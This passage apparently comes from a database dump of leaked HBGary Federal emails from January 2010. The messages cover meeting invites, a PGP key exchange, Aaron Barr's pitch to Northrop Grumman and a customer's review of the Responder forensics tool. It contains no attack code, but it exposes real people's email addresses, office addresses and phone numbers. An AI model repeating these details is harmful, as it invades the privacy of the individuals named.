registered in the Contractor\r\nRegistry, which is used by contractors to search for subs.  If you look\r\ndown the left side, you will see what access is provided with\r\nregistration.  As we discussed, I can fill out the registration for HP\r\nGary (with you as POC) if you wish.  And on the other side of the\r\nriver, similar is true for the NSA ARC.\r\n  \r\n    Enjoy your travels to Colorado, hopefully in good weather,\r\n  \r\n        Mike\r\n  \r\n  \r\n  \r\nOn 1/4/2010 11:18 AM, Aaron Barr wrote:\r\n  \r\n    \r\n    \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          more details »\r\n          \r\n          Lunch\r\nwith\r\nmike\r\n          \r\n            \r\n              \r\n                \r\n                When\r\n                \r\n                Tue Jan 5 11:30am – 12:30pm Eastern Time\r\n              \r\n              \r\n                \r\n                Where\r\n                \r\n                La Madeline (map)\r\n              \r\n              \r\n                \r\n                Calendar\r\n                \r\n                mbt.rbtoth@starpower.net\r\n              \r\n              \r\n                \r\n                Who\r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      •\r\n                      \r\n                      \r\n                      Aaron Barr - organizer\r\n                      \r\n                      \r\n                    \r\n                    \r\n                      •\r\n                      \r\n                      \r\n                      mbt.rbtoth@starpower.net\r\n                      \r\n                      \r\n                    \r\n                  \r\n                \r\n                \r\n              \r\n            \r\n          \r\n          \r\n          Going?   Yes - Maybe - No    more options »\r\n          \r\n        \r\n        \r\n          \r\n          Invitation from Google\r\nCalendar\r\n          You are receiving this courtesy email at the account\r\n          mbt.rbtoth@starpower.net\r\nbecause you are an attendee of this event.\r\n          To stop receiving future notifications for this event,\r\ndecline this event. Alternatively you can sign up for a Google account\r\nat https://www.google.com/calendar/\r\nand control your notification\r\nsettings for your entire calendar.\r\n          \r\n        \r\n      \r\n    \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n',4630,'aaron_hbgary_com/4630.html'),(986,'2010-01-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000172.M532073P3547Q986.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Key Issues','Aaron,\r\n\r\nI need some help using the key you sent me.  I think if you rename it as a\r\npgp file I will be able to simply click on it and it gets consumed by my\r\ncommercial pgp software.  In my new Vista computer I can\'t figure out how to\r\nrename gpg to pgp like on my old computer.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 9:46 PM\r\nTo: Greg Hoglund; Phil Wallisch; Rich Cummings; Bob Slapnik; Ted Vera; Penny\r\nLeavy; martin@hbgary.com\r\nSubject: Key Issues\r\n\r\n* PGP Signed by an unknown key\r\n\r\nPlease ignore my earlier blast and use the attached Pub key.\r\n\r\nThanks,\r\nAaron\r\n\r\n* Unknown Key\r\n* 0x61F23DFF(L)\r\n\r\n\r\n\r\n',7416,'aaron_hbgary_com/7416.html'),(987,'2010-01-06','\"Conoval, Paul (IS)\" <Paul.Conoval@ngc.com>','/aaron@hbgary.com/new/1297000172.M774497P3547Q987.eml','aaron@hbgary.com','Re: Introduction in New Role','\r\n\r\n\r\n\r\n\r\nRe: Introduction in New Role\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;It sounds like HBGary Federal has some interesting cyber capabilities and I\'d like to hear more about it. I didn\'t know you were leaving NG until you were already gone. How did you end up at HBGary and how many people are in your organization?\r\n\r\nPaul\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brammer, Robert F.\r\nCc: Conoval, Paul (IS); Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Wed Jan 06 08:24:40 2010\r\nSubject: Introduction in New Role\r\n\r\nHi Bob,\r\n\r\nHappy New Year.\r\n\r\nI am settling in to my new role as CEO of HBGary Federal, very different than previous roles I have had but at this time it seems to fit me.&nbsp; When you have some time I would like to set up a meeting with Myself and HBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'s capabilities.&nbsp; I chose this company because they have some technology that I think will play a role in the nations cyber defense.&nbsp; Our Digital DNA identifies malware based on behaviors and traits and is 75% effective in identifying zero day threats, it feeds our Global Malware Genome which is currently a database of 3500 identified traits.&nbsp; Our foundational product, Responder, is probably the best malware analysis and forensics tool on the market.&nbsp; Symantec and Mcafee have integrated DDNA into their offerings.&nbsp; Our products are also integrated into many existing Fortune 500 and Government organizations.\r\n\r\nTo better define our organizations.&nbsp; I am the CEO of HBGary Federal which runs the services part of our business.&nbsp; Greg Hoglund is the founder and CEO of HBGary which is focused on product development.\r\n\r\nMaybe we could get on the SSWG schedule?\r\n\r\nRespectfully,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14153,'aaron_hbgary_com/14153.html'),(988,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000172.M943180P3547Q988.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Introduction in New Role','From my iPhoneBegin forwarded message:From: &quot;Brammer, Robert F.&quot; &lt;robert.brammer@ngc.com&gt;\r\nDate: January 6, 2010 11:12:32 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Conoval, Paul (IS)&quot; &lt;Paul.Conoval@ngc.com&gt;, &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;, &quot;Ciocca, Colleen E (IS)&quot; &lt;colleen.ciocca@ngc.com&gt;\r\nSubject: RE: Introduction in New RoleAaron,Happy New Year.  Sounds like you are enjoying your new position.\r\nLet&#39;s schedule a phone call to discuss your company.  I am not at allfamiliar with HBGary.  How about Wednesday, the 13th, at 9AM?Bob\r\nRobert F. Brammer, Ph.D. VP, Advanced Technology, and CTO Northrop Grumman Information Systems 12011 Sunset Hills Road \r\nReston, VA 20190 703-345-8716 Robert.Brammer@ngc.com -----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, January 06, 2010 9:25 AMTo: Brammer, Robert F.Cc: Conoval, Paul (IS); Ted Vera\r\nSubject: Introduction in New RoleHi Bob,Happy New Year.I am settling in to my new role as CEO of HBGary Federal, very different\r\nthan previous roles I have had but at this time it seems to fit me.When you have some time I would like to set up a meeting with Myself andHBGary&#39;s CTO, Rich Cummings, to talk about some of HBGary&#39;s\r\ncapabilities.  I chose this company because they have some technologythat I think will play a role in the nations cyber defense.  Our DigitalDNA identifies malware based on behaviors and traits and is 75%\r\neffective in identifying zero day threats, it feeds our Global MalwareGenome which is currently a database of 3500 identified traits.  Ourfoundational product, Responder, is probably the best malware analysis\r\nand forensics tool on the market.  Symantec and Mcafee have integratedDDNA into their offerings.  Our products are also integrated into manyexisting Fortune 500 and Government organizations.\r\nTo better define our organizations.  I am the CEO of HBGary Federalwhich runs the services part of our business.  Greg Hoglund is thefounder and CEO of HBGary which is focused on product development.\r\nMaybe we could get on the SSWG schedule?Respectfully,Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',368,'aaron_hbgary_com/368.html'),(989,'2010-01-06','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297000173.M123378P3547Q989.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Aaron meeting after the lunch with ICE @ Wed Jan 6 1pm - 	3pm (aaron@hbgary.com)',' more details &raquo;Aaron meeting after the lunch with ICE2010 Corporate RidgeSuite # 700McLean, Virginia 22102WhenWed Jan 6 1pm – 3pm Eastern TimeWhere2010 Corporate Ridge Suite # 700 McLean, Virginia 22102 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;rich@hbgary.com&#x2022;phil@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you set a reminder for this event on the calendar aaron@hbgary.com.You can change your reminders for specific events in the event details page in https://www.google.com/calendar/hosted/hbgary.com/.',16067,'aaron_hbgary_com/16067.html'),(990,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000173.M312397P3547Q990.eml','\"Mark Trynor\" <mark.trynor@gmail.com>,\"Aaron Spring\" <aspring@springdesigngroup.com>','Skiing Monday','Want to go?  Ted said he will go if u guys go.  He doesn\'t know how to\r\nskii.\r\nAaron\r\n\r\n From my iPhone\r\n',10564,'aaron_hbgary_com/10564.html'),(991,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000173.M486026P3547Q991.eml','\"Brammer, Robert F.\" <robert.brammer@ngc.com>,\"Brammer, Robert F.\" <robert.brammer@ngc.com>,,','Re: Introduction in New Role','That sounds good.\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 6, 2010, at 11:12 AM, \"Brammer, Robert F.\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Happy New Year.  Sounds like you are enjoying your new position.\r\n>\r\n> Let\'s schedule a phone call to discuss your company.  I am not at all\r\n> familiar with HBGary.  How about Wednesday, the 13th, at 9AM?\r\n>\r\n> Bob\r\n>\r\n>\r\n> Robert F. Brammer, Ph.D.\r\n> VP, Advanced Technology, and CTO\r\n> Northrop Grumman Information Systems\r\n> 12011 Sunset Hills Road\r\n> Reston, VA\r\n> 20190\r\n> 703-345-8716\r\n> Robert.Brammer@ngc.com\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, January 06, 2010 9:25 AM\r\n> To: Brammer, Robert F.\r\n> Cc: Conoval, Paul (IS); Ted Vera\r\n> Subject: Introduction in New Role\r\n>\r\n> Hi Bob,\r\n>\r\n> Happy New Year.\r\n>\r\n> I am settling in to my new role as CEO of HBGary Federal, very\r\n> different\r\n> than previous roles I have had but at this time it seems to fit me.\r\n> When you have some time I would like to set up a meeting with Myself\r\n> and\r\n> HBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'s\r\n> capabilities.  I chose this company because they have some technology\r\n> that I think will play a role in the nations cyber defense.  Our\r\n> Digital\r\n> DNA identifies malware based on behaviors and traits and is 75%\r\n> effective in identifying zero day threats, it feeds our Global Malware\r\n> Genome which is currently a database of 3500 identified traits.  Our\r\n> foundational product, Responder, is probably the best malware analysis\r\n> and forensics tool on the market.  Symantec and Mcafee have integrated\r\n> DDNA into their offerings.  Our products are also integrated into many\r\n> existing Fortune 500 and Government organizations.\r\n>\r\n> To better define our organizations.  I am the CEO of HBGary Federal\r\n> which runs the services part of our business.  Greg Hoglund is the\r\n> founder and CEO of HBGary which is focused on product development.\r\n>\r\n> Maybe we could get on the SSWG schedule?\r\n>\r\n> Respectfully,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',12521,'aaron_hbgary_com/12521.html'),(992,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000173.M657537P3547Q992.eml','\"Conoval, Paul (IS)\" <Paul.Conoval@ngc.com>','Re: Introduction in New Role','Hi Paul,It was a quick dearture.  Sorry i didn&#39;t get a chance to say goodbye.  I have worked with HBGary Off and on over the years.  We brought them on to some IC contracts.  I have thoughtore and more over the years of trying my hand at a small business am this is as good of a shot as any.  Small but profitable company, good products, good position.\r\nIn total we are about 40 people.  Ted and I are just standing up the services business.  I have develoed a strong partnership with xetron and mantech for primes and palantir as a small.  I have a fgood idea for a threat intelligence center that we are putting together that I think could be significant.  Also of course working on continuing the io type work I have done in the past.  Exciting stuff.\r\nI hope the irads are going ok.Look forward to seeing sometime.  I would like to give a capabilities demo of some of our productsAaronFrom my iPhone\r\nOn Jan 6, 2010, at 12:03 PM, &quot;Conoval, Paul (IS)&quot; &lt;Paul.Conoval@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\n It sounds like HBGary Federal has some interesting cyber capabilities and I&#39;d like to hear more about it. I didn&#39;t know you were leaving NG until you were already gone. How did you end up at HBGary and how many people are in your organization?\r\n\r\n\r\nPaul\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brammer, Robert F.\r\nCc: Conoval, Paul (IS); Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Wed Jan 06 08:24:40 2010\r\nSubject: Introduction in New Role\r\n\r\nHi Bob,\r\n\r\nHappy New Year.\r\n\r\nI am settling in to my new role as CEO of HBGary Federal, very different than previous roles I have had but at this time it seems to fit me.  When you have some time I would like to set up a meeting with Myself and HBGary&#39;s CTO, Rich Cummings, to talk about some of HBGary&#39;s capabilities.  I chose this company because they have some technology that I think will play a role in the nations cyber defense.  Our Digital DNA identifies malware based on behaviors and traits and is 75% effective in identifying zero day threats, it feeds our Global Malware Genome which is currently a database of 3500 identified traits.  Our foundational product, Responder, is probably the best malware analysis and forensics tool on the market.  Symantec and Mcafee have integrated DDNA into their offerings.  Our products are also integrated into many existing Fortune 500 and Government organizations.\r\n\r\n\r\nTo better define our organizations.  I am the CEO of HBGary Federal which runs the services part of our business.  Greg Hoglund is the founder and CEO of HBGary which is focused on product development.\r\n\r\nMaybe we could get on the SSWG schedule?\r\n\r\nRespectfully,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10856,'aaron_hbgary_com/10856.html'),(993,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000173.M839327P3547Q993.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','How u guys doing on time?',' From my iPhone\r\n',12824,'aaron_hbgary_com/12824.html'),(994,'2010-01-06','rich@hbgary.com','/aaron@hbgary.com/new/1297000174.M15122P3547Q994.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: How u guys doing on time?','Be there 5 min\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Rich Cummings\r\nTo: Phil Wallisch\r\nSubject: How u guys doing on time?\r\nSent: Jan 6, 2010 1:06 PM\r\n\r\n From my iPhone\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',6377,'aaron_hbgary_com/6377.html'),(995,'2010-01-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000174.M226860P3547Q995.eml','all@hbgary.com','FW: How did your eval of HBGary Responder go?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nNice email from GDAIS who recently\r\nevaluated Responder + DDNA.\r\n\r\n&nbsp;\r\n\r\n(I replied to him addressing some\r\nthings he brought up.)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Clayton, Bill L.\r\n[mailto:bill.clayton@gd-ais.com] \r\nSent: Wednesday, January 06, 2010 1:14 PM\r\nTo: Bob Slapnik\r\nSubject: RE: How did your eval of HBGary Responder go?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry I haven&#8217;t responded\r\nsooner. I completed my eval and everything went great. I have even had the\r\nopportunity to train two others here locally on using ResponderPro and\r\nFastDump.\r\n\r\nI had read extensively about\r\nResponderPro previously and was elated to finally get to look at it. I am truly\r\nimpressed and have told everyone here about it. I evaluated three memory\r\nanalysis tools: 1) ResponderPro, 2) Mmeoryze, and 3) Volatility. While all\r\nthree had many similarities, all three had aspects that differentiated them.\r\nObviously DigitalDNA sets ResponderPro apart from the others. DDNA alone makes\r\nResponderPro a winner. It is a remarkable tool for quickly identifying\r\nsuspected malware, and it correctly identified three malwares that I threw at\r\nit. I don&#8217;t have time right now, but will try to offer some suggestions later.\r\nI highly recommended it to our team and said we needed to have it in our\r\nIncident Response Toolkit as a primary analysis tool. Thanks for all of your\r\nhelp and support. Thank your team for me also. I particularly liked several\r\nfeatures other than DDNA, like the ability to quickly see a disassembly of a\r\nparticular function or total code. I know you are not trying to build a\r\ncomplete disassemble, like IdaPro, but that is one area where I think you could\r\nbeef up your product. I did come across several instances where the disassemble\r\ncould not, or did not, accurately disassemble sections of code (not packed or\r\nobfuscated either). Otherwise I was thrilled with it. I haven&#8217;t tried Flypapaer\r\nyet, but will when I get some time in the next few weeks. I have been assigned\r\nto other work for now.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, January 05, 2010 9:56 AM\r\nTo: Clayton, Bill L.\r\nSubject: How did your eval of HBGary Responder go?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBill,\r\n\r\n&nbsp;\r\n\r\nHappy New Year!\r\n\r\n&nbsp;\r\n\r\nDid you ever complete your evaluation of HBGary Responder +\r\nDigital DNA?&nbsp; How did that go?&nbsp; Do you like it?\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6114,'aaron_hbgary_com/6114.html'),(996,'2010-01-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000174.M430517P3547Q996.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Introduction in New Role','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am available at 9am Wed Jan 13.&nbsp; Let&#8217;s have a conversation about\r\nwhat you would like to accomplish.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 06, 2010 12:18 PM\r\nTo: Bob Slapnik; Ted Vera\r\nSubject: Fwd: Introduction in New Role\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Brammer,\r\nRobert F.&quot; &lt;robert.brammer@ngc.com&gt;\r\nDate: January 6, 2010 11:12:32 AM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nCc: &quot;Conoval, Paul (IS)&quot; &lt;Paul.Conoval@ngc.com&gt;, &quot;Ted\r\nVera&quot; &lt;ted@hbgary.com&gt;,\r\n&quot;Ciocca, Colleen E (IS)&quot; &lt;colleen.ciocca@ngc.com&gt;\r\nSubject: RE: Introduction in New Role\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHappy New Year. &nbsp;Sounds like you are enjoying your new position.\r\n\r\nLet\'s schedule a phone call to discuss your company. &nbsp;I am not at all\r\nfamiliar with HBGary. &nbsp;How about Wednesday, the 13th, at 9AM?\r\n\r\nBob\r\n\r\n\r\nRobert F. Brammer, Ph.D. \r\nVP, Advanced Technology, and CTO \r\nNorthrop Grumman Information Systems \r\n12011 Sunset Hills Road \r\nReston, VA \r\n20190 \r\n703-345-8716 \r\nRobert.Brammer@ngc.com \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, January 06, 2010 9:25 AM\r\nTo: Brammer, Robert F.\r\nCc: Conoval, Paul (IS); Ted Vera\r\nSubject: Introduction in New Role\r\n\r\nHi Bob,\r\n\r\nHappy New Year.\r\n\r\nI am settling in to my new role as CEO of HBGary Federal, very different\r\nthan previous roles I have had but at this time it seems to fit me.\r\nWhen you have some time I would like to set up a meeting with Myself and\r\nHBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'s\r\ncapabilities. &nbsp;I chose this company because they have some technology\r\nthat I think will play a role in the nations cyber defense. &nbsp;Our Digital\r\nDNA identifies malware based on behaviors and traits and is 75%\r\neffective in identifying zero day threats, it feeds our Global Malware\r\nGenome which is currently a database of 3500 identified traits. &nbsp;Our\r\nfoundational product, Responder, is probably the best malware analysis\r\nand forensics tool on the market. &nbsp;Symantec and Mcafee have integrated\r\nDDNA into their offerings. &nbsp;Our products are also integrated into many\r\nexisting Fortune 500 and Government organizations.\r\n\r\nTo better define our organizations. &nbsp;I am the CEO of HBGary Federal\r\nwhich runs the services part of our business. &nbsp;Greg Hoglund is the\r\nfounder and CEO of HBGary which is focused on product development.\r\n\r\nMaybe we could get on the SSWG schedule?\r\n\r\nRespectfully,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6633,'aaron_hbgary_com/6633.html'),(997,'2010-01-06','\"Ciocca, Colleen E (IS)\" <colleen.ciocca@ngc.com>','/aaron@hbgary.com/new/1297000174.M608010P3547Q997.eml','\"Brammer, Robert F.\" <robert.brammer@ngc.com>,aaron@hbgary.com','Conference Call - Brammer/Barr','\r\n\r\n\r\n\r\n\r\nConference Call - Brammer/Barr\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, January 13, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Aaron Barr will call Bob\'s Reston Office (703) 345-8716\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',2670,'aaron_hbgary_com/2670.html'),(998,'2010-01-06','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000174.M793363P3547Q998.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: How did your eval of HBGary Responder go?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt would be interesting to see\r\nwhat he liked about volatility &nbsp;and memorize.&nbsp; Everyone likes the ability to\r\nscript volatility and we have that in Responder Pro.&nbsp; Field Edition is a more\r\naccurate head to head comparison, because the other tools don&#8217;t disassemble\r\nanything.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, January 06, 2010 11:08 AM\r\nTo: all@hbgary.com\r\nSubject: FW: How did your eval of HBGary Responder go?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nNice email from GDAIS who recently\r\nevaluated Responder + DDNA.\r\n\r\n&nbsp;\r\n\r\n(I replied to him addressing some\r\nthings he brought up.)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Clayton, Bill L.\r\n[mailto:bill.clayton@gd-ais.com] \r\nSent: Wednesday, January 06, 2010 1:14 PM\r\nTo: Bob Slapnik\r\nSubject: RE: How did your eval of HBGary Responder go?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry I haven&#8217;t responded\r\nsooner. I completed my eval and everything went great. I have even had the\r\nopportunity to train two others here locally on using ResponderPro and\r\nFastDump.\r\n\r\nI had read extensively about\r\nResponderPro previously and was elated to finally get to look at it. I am truly\r\nimpressed and have told everyone here about it. I evaluated three memory\r\nanalysis tools: 1) ResponderPro, 2) Mmeoryze, and 3) Volatility. While all\r\nthree had many similarities, all three had aspects that differentiated them.\r\nObviously DigitalDNA sets ResponderPro apart from the others. DDNA alone makes\r\nResponderPro a winner. It is a remarkable tool for quickly identifying\r\nsuspected malware, and it correctly identified three malwares that I threw at\r\nit. I don&#8217;t have time right now, but will try to offer some suggestions later.\r\nI highly recommended it to our team and said we needed to have it in our\r\nIncident Response Toolkit as a primary analysis tool. Thanks for all of your\r\nhelp and support. Thank your team for me also. I particularly liked several\r\nfeatures other than DDNA, like the ability to quickly see a disassembly of a\r\nparticular function or total code. I know you are not trying to build a\r\ncomplete disassemble, like IdaPro, but that is one area where I think you could\r\nbeef up your product. I did come across several instances where the disassemble\r\ncould not, or did not, accurately disassemble sections of code (not packed or\r\nobfuscated either). Otherwise I was thrilled with it. I haven&#8217;t tried Flypapaer\r\nyet, but will when I get some time in the next few weeks. I have been assigned\r\nto other work for now.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, January 05, 2010 9:56 AM\r\nTo: Clayton, Bill L.\r\nSubject: How did your eval of HBGary Responder go?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBill,\r\n\r\n&nbsp;\r\n\r\nHappy New Year!\r\n\r\n&nbsp;\r\n\r\nDid you ever complete your evaluation of HBGary Responder +\r\nDigital DNA?&nbsp; How did that go?&nbsp; Do you like it?\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11214,'aaron_hbgary_com/11214.html'),(999,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000175.M1620P3547Q999.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Conference Call','Hey Matt,\r\n\r\nWe have a conference call scheduled for right now right?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10756,'aaron_hbgary_com/10756.html'),(1000,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000175.M196926P3547Q1000.eml','\"Ciocca, Colleen E (IS)\" <colleen.ciocca@ngc.com>','Event accepted: Conference Call - Brammer/Barr','Aaron Barr has accepted your iCal event invitation to the event: Conference Call - Brammer/Barr, scheduled for January 13, 2010 at 8:00 AM (Central Standard Time).',6121,'aaron_hbgary_com/6121.html'),(1001,'2010-01-06','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000175.M368112P3547Q1001.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Conference Call','Hey, I\'m on now, can you dial back in? \r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Matthew Steckman\r\nSent: Wed Jan 06 13:37:12 2010\nSubject: Conference Call\r\n\r\nHey Matt,\r\n\r\nWe have a conference call scheduled for right now right?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3554,'aaron_hbgary_com/3554.html'),(1002,'2010-01-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000175.M538433P3547Q1002.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Introduction in New Role','Bob,Thinking about it I think I will do this call by myself at first. &nbsp;I know Bob pretty well, he might want to chit chat a little more if its just us. &nbsp;He is pretty high level anyways. &nbsp;I will be working to set up a capabilities demo at their monthly Cybersecurity meeting, most of their cybersecurity experts attend this monthly meeting.AaronOn Jan 6, 2010, at 2:17 PM, Bob Slapnik wrote:Aaron,&nbsp;I am available at 9am Wed Jan 13.&nbsp; Let’s have a conversation about what you would like to accomplish.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, January 06, 2010 12:18 PMTo:&nbsp;Bob Slapnik; Ted VeraSubject:&nbsp;Fwd: Introduction in New Role&nbsp;From my iPhoneBegin forwarded message:From:&nbsp;\"Brammer, Robert F.\" &lt;robert.brammer@ngc.com&gt;Date:&nbsp;January 6, 2010 11:12:32 AM ESTTo:&nbsp;\"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc:&nbsp;\"Conoval, Paul (IS)\" &lt;Paul.Conoval@ngc.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;, \"Ciocca, Colleen E (IS)\" &lt;colleen.ciocca@ngc.com&gt;Subject:&nbsp;RE: Introduction in New RoleAaron,Happy New Year. &nbsp;Sounds like you are enjoying your new position.Let\'s schedule a phone call to discuss your company. &nbsp;I am not at allfamiliar with HBGary. &nbsp;How about Wednesday, the 13th, at 9AM?BobRobert F. Brammer, Ph.D.&nbsp;VP, Advanced Technology, and CTO&nbsp;Northrop Grumman Information Systems&nbsp;12011 Sunset 